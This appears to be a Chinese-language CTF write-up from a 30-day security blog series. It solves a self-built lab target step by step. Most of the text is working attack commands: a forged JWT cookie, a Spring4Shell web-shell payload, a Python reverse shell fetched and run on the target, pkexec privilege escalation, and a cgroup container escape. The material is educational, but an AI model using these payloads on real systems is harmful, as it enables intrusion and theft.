終於到了第30天的部分了,今天主要是要針對之前設計的期中考 CTF 進行解題,以及順便講講為何我要建立一個資安頻道,那就開始吧。
首先先從架構圖開始看起,參考如下。很明顯的,出題方向會是要先繞過 Spring Security ,然後看看有沒有機會使用 Spring4Shell 拿到主機的控制權,接下來要針對 Docker 進行容器逃逸,最後拿到 CentOS 7 內的 flag 檔案內容。
eyJhbGciOiJFUzI1NiJ9.eyJpc3MiOiJhZWlma3oiLCJzdWIiOiJhdXRob3JpemF0aW9uIiwicm9sZSI6ImFkbWluIn0.MAYCAQACAQA
curl -v http://192.168.56.110:8080/Spring4Shell/user?name=aeifkz ;
curl -v --cookie "jwt-token=eyJhbGciOiJFUzI1NiJ9.eyJpc3MiOiJhZWlma3oiLCJzdWIiOiJhdXRob3JpemF0aW9uIiwicm9sZSI6ImFkbWluIn0.MAYCAQACAQA" http://192.168.56.110:8080/Spring4Shell/user?name=aeifkz ;
curl -H "suffix: %>//" -H "c1: Runtime" -H "c2: <%" --cookie "jwt-token=eyJhbGciOiJFUzI1NiJ9.eyJpc3MiOiJhZWlma3oiLCJzdWIiOiJhdXRob3JpemF0aW9uIiwicm9sZSI6ImFkbWluIn0.MAYCAQACAQA" 'http://192.168.56.110:8080/Spring4Shell/user?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' ;
curl --output - 'http://192.168.56.110:8080/tomcatwar.jsp?pwd=j&cmd=whoami' ;
做到這邊就已經有 Web Shell 了,但是我覺得 Web Shell 不夠好用,還是打一個 Reverse Shell 使用會比較方便。參考 [Day24] Bind Shell / Reverse Shell 內的 python 部分,可以包裝一個 python 檔案給應用程式抓取後回連回來。
vim reverse_shell.py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.75.163",8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
curl --output - 'http://192.168.56.110:8080/tomcatwar.jsp?pwd=j&cmd=curl%20-o%20%2Fapp%2Freverse_shell.py%20http%3A%2F%2F192.168.75.163%3A8080%2Freverse_shell.py' ;
curl --output - 'http://192.168.56.110:8080/tomcatwar.jsp?pwd=j&cmd=python%20%2Fapp%2Freverse_shell.py%20-C%20%2Fapp%2F' ;
稍微測試一下環境發現應該是在容器裡面,並且有安裝 pkexec 程式,但並沒有最高權限。這邊要使用之前 CVE-2021-4034 做出的編譯好的作業送到應用程式並進行提權。 (可用 curl 下載檔案、 tar 進行解壓縮)
提權 root 權限後接下來要做容器逃逸。試著透過 fdisk -l 列出磁碟然後進行掛載,但是會失敗。所以改用 cgroup 手法進行逃逸。
cat /proc/$$/status | grep Cap ;
mkdir /tmp/cgroup ;
mount -t cgroup -o rdma cgroup /tmp/cgroup ;
cat /proc/$$/cgroup ; #看一下可以設定的裝置
mount -t cgroup -o memory cgroup /tmp/cgroup ;
mkdir /tmp/cgroup/cgroup_2 ;
echo 1 > /tmp/cgroup/cgroup_2/notify_on_release ; # 設定子 cgroup 在退出的時候觸發父 cgroup 的 release_agent
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` ;
echo "$host_path/cmd" > /tmp/cgroup/release_agent ;
echo '#!/bin/sh' > /cmd ;
echo "cp -rf /home/* $host_path" >> /cmd ;
chmod a+x /cmd ;
sh -c "echo $$ > /tmp/cgroup/cgroup_2/cgroup.procs" ; # 在子 cgroup 建立一個立即結束的 process 進行觸發
find . -name "flag*" ;
cd ./test/ ;
tar xvf flag.tar ;
最後會看到出現 "Congratulationsls! You Pass iThome 30 Days Challenge!",也恭喜終於完成這 30 天的期中考惹!!!!!
那剩下就是即興發揮的部分惹~~ 主要會說說幾個重點。